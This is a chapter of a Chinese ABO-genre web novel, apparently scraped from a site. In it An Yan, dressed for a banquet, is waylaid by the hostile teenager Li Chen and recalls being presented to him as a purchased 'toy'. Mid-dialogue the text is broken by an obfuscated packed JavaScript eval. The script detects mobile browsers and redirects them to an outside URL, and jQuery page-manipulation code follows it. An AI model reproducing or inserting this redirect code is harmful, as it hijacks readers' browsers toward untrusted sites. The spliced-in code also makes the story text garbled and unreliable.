夜幕早已降临,将整个历家老宅都笼罩在一片深沉的静谧之中,唯有庭院里的地灯,在草坪上投下温柔而孤独的光晕。
安宴已经准备妥当,独自一人坐在客厅的沙发上,安静地等待着。造型师精心打理过的发型,让他感觉后颈有些发凉。
身上那套价值不菲、剪裁贴身的黑色丝绒西装,像一层陌生的皮肤,紧紧包裹着他,让他感觉有些陌生和束缚。
他已经太久没有这样刻意地装扮自己了。
约定的时间早已过去,但历云谏还没有回来。
安宴拿出手机,屏幕亮起,显示出干净的桌面。这部最新款的手机,是历云谏上个月让人送来的。这些年,他的通讯设备总是换得很快,永远是市面上最好的那一款。可安宴对外界的讯息并不关心,这台功能强大的机器,对他而言,唯一的用途就是与历云谏联系。
但今天,那个他唯一会等待的对话框,始终一片沉寂。
这不符合历云谏的习惯。他是一个时间观念极强的人,任何事情都必须在预定的轨道上运行。迟到,意味着出现了计划之外的变故。
这个念头让安宴的心猛地一紧,他下意识地坐直了身体,握着手机的指节微微泛白。指尖悬在拨号键上,犹豫着要不要打过去。就在这时,管家林伯的脚步声由远及近,停在了他的面前。
“安先生。”林伯走了进来,脸上依旧是那副温和而熨帖的微笑。
“先生在路上遇到了一点状况,可能要晚一些才能到。他让您先过去,不用等他。”
安宴立刻站了起来,那过于迅速的动作牵动了紧身的西装,他的声音都有些发紧:“出什么事了?”
林伯的目光落在他紧握着手机的手上,没有直接回答,而是先一步上前,用一种安抚的语气说:“您别担心,不是什么大事,只是一些需要先生亲自处理的私事。”
林伯的解释让安宴紧绷的神经松了一些,但那份不安依旧盘踞在心头。
总觉得哪里不对……
他看着林伯,还是追问了一句:“真的没事吗?”
林伯又极有耐心地重复了一遍:“真的没事,安先生,请您放心。”
林伯一向比他更加沉得住气,更何况,林伯才更明白历云谏的情况。对比林伯这份淡然,安宴这才意识到自己的失态,他有些羞赧地低下头:“抱歉,林伯,是我多嘴了,我……我只是有点紧张。”
“我明白。”林伯笑了笑,轻声说,“看到您这么担心先生,说实话,我很高兴。这证明,您是在意先生的。”
林伯停顿了一下,像是在斟酌词句,又像是在不经意间,替不在场的那位alpha提前铺好台阶。
“先生也和您一样。安先生,无论在外面发生了什么,他最终,都只会把您留在身边,带回家里。”
林伯说话的音调很轻,但话语里有一种坚定的力量,让人不得不信服。安宴纷乱的心绪被安抚下来,便点了点头,不再追问。
“宴会那边已经安排了专车过来,还有十分钟就到。您直接过去就好,门口会有人迎接您,一切都在计划中,您不用担心。”林伯微微欠身,就要离开。
安宴道了谢,独自下楼。
在二楼通往一楼的楼梯转角处,那巨大到如同瀑布般垂落的水晶吊灯之下,他毫无预兆地,撞上了一个正气冲冲往楼上走的身影。
是厉琛。
少年似乎心情极差,但在抬头看到安宴的那一刻,他所有的怒火都瞬间凝固在了脸上。他愣住了,连带着那双总是燃烧着火焰的眼睛,此刻都直勾勾地盯着安宴,一眨不眨。
安宴身上那件黑色的丝绒西装,在水晶灯下泛着碎钻般低调而华丽的光泽,完美地勾勒出他清瘦却挺拔的腰线。精心打理过的发型,让他露出了光洁的额头和那双总是温和的浅褐色眼眸。
这张脸,厉琛觉得自己已经看了许多年。哪怕隔着重洋,这张beta的面庞,也总是在梦里与他纠缠不休。
历琛熟悉他的每一寸,也厌恶他的每一分。可此刻,在这身盛装之下,那份熟悉的温顺被一种陌生的清冷感所取代,竟让他感到一阵心跳错乱。
厉琛很快意识到自己竟然看呆了,一股巨大的羞耻感瞬间化为恼怒,冲上了他的头顶。
“你穿成这样,是要去干什么?”他像是被踩了尾巴的猫,瞬间炸毛了,语气里是毫不掩饰的审视与轻蔑,“一把年纪了,还学omega卖弄风骚?”
安宴已经习惯了他的恶语相向,只是平静地解释:“是先生让我陪他去参加一个晚宴。”
“呵,带你去?”厉琛嗤笑一声,那充满恶意的目光像锋利的小刀,将安宴从头到脚刮了一遍,“那看来也不是什么重要的场合。”
安宴没有接话,只是想绕过他下楼。厉琛却一步拦在他面前,张开手臂,像个守着自己领地,不许任何人侵犯的头狼,挡住了安宴的去路。
“我跟你说话呢!你这是什么态度?”
安宴看着他,有些无奈。来接他的车就快到了,可是历琛又这么执着。
他只能开口商量:“厉琛,我快迟到了。”
“迟到就迟到!”少年不依不饶,反而因为安宴的退让而更加得寸进尺。
安宴知道他在无理取闹,再纠缠下去只会没完没了。他放软了语气,像过去无数次哄那个还是孩子的他一样,轻声说:“好了,别闹了。等我回来,你想怎么样都行。”
这句带着安抚意味的话,让厉琛的脸颊不受控制地一热。他没想到安宴会突然用这种语气跟他说话。
趁着历琛发愣的瞬间,安宴立刻侧身,快步从他身边走过。
“谁准你走了!”厉琛猛地反应过来,想也不想地伸出手,一把抓住了安宴的手腕。
那只属于少年的手,带着灼人的温度,紧紧地箍住了他。安宴下意识地想挣脱,脚下却是一个踉跄,身体一歪,脚踝处传来一阵尖锐的刺痛。他闷哼一声,脸色瞬间苍白,不得不扶住了楼梯冰冷的雕花扶手。
“碰瓷啊?”厉琛看到他苍白的脸色,气焰顿时消了一半,“笨手笨脚的,扭了就别去了!一瘸一拐的,去了也是给历家丢人,在家待着吧!”
“我没事。”安宴甩开他的手,声音冷了下来。他试着走了两步,虽然有些疼,但还能忍受。
看到安宴那张冷下来的脸,厉琛反而有些心虚了。他追上去,别扭地说:“我送你过去,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16304110|182756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
总行了吧!”
“不需要。”
“安宴你别不识好歹!你对着那老头子就温顺得像只猫,到我这儿就又冷又硬,跟块茅坑里的臭石头一样!”厉琛气急败坏地跟在他身后,一直纠.缠到了门口。
一辆黑色的轿车,正静静地停在大门外,车灯在夜色中划出一片明亮的光束。
厉琛再一次拉住安宴:“你跟我犟什么!我送你过去能怎么样!”
安宴真的有些疲惫了。他看着眼前这个恶人先告状的少年,却发现自己连一句教育他的立场都没有。他只能耐着性子,一字一句地说:“厉琛,我没有生气。我现在,只想快点动身。”
厉琛死死地瞪着他,那眼神里有不甘,有愤怒,还有一丝连他自己都没察觉的委屈。最终,他还是不情不愿地松开了手。
安宴转身走向那辆车,身后却传来了少年压抑着什么的、微微发颤的声音。
“你就这么不想和我待在一起?急着走是吧!”厉琛的声音带着一丝自嘲的冷意,“反正你就是不待见我!从过去到现在,你就是表面装作照顾我,实际上你特别讨厌我,特别烦我!恭喜你,只要你在这儿一天,我就会让你不舒服一天,你别想摆脱我!”
安宴的脚步停了下来。他转过身,看向夜色中的少年。
记忆里那个总是抱着乐高,长得像天使一样可爱的小男孩,不知不觉,已经长成了现在这副带刺的模样。可那双看着他的、偏执又倔强的眼睛,却和当年一模一样。
夜风吹过,厉琛的眼眶有些泛红,像是藏着未落的泪光。
“我从来没有讨厌过你,厉琛。”安宴的声音很轻,轻得像一声叹息。
“你说什么?”厉琛没听清,或者说,他不敢相信自己听到的。
安宴没有重复,只是看着他单薄的衣衫,转移了话题:“回去吧,外面冷。”
“谁要你关心!假惺惺!”少年像是被戳中了心事,立刻又竖起了满身的尖刺。
安宴在心里无奈地摇了摇头,最终还是转身上了车。车门关上的那一刻,他的内心五味杂陈。
车子平稳地驶入夜色,窗外的景物飞速倒退。安宴靠在椅背上,闭上了眼睛。那段他刻意尘封了很久的、关于初见的记忆,却不受控制地,清晰地浮现在了脑海里。
那是他二十岁的生日,也是他来到历家的第二年。
那时的他还很青涩,天真地以为,自己是历云谏漫长生命里,一个独一的例外。历云谏说,为他准备了一份特别的生日礼物,藏在了二楼的房间里,让他自己去打开。
他怀着满心的期待与欢喜,推开了那扇门。
房间里没有他想象中的任何东西,只有一个穿着小西装、长得像洋娃娃一样精致的小男孩,正坐在一堆散落的乐高玩具里。
那个男孩,就是八岁的厉琛。
他听到开门声,抬起头,用那双清澈又傲慢的眼睛,像盘踞在珍宝堆上的幼龙一样,审视着门口的安宴。然后,他用一种稚嫩却不容置疑的、仿佛在宣告所有权的语气,对安宴说了他们之间的第一句话。
“他们说,你就是爸爸花很多很多钱,买回来只陪我一个人玩的,那个新玩具。对吗?”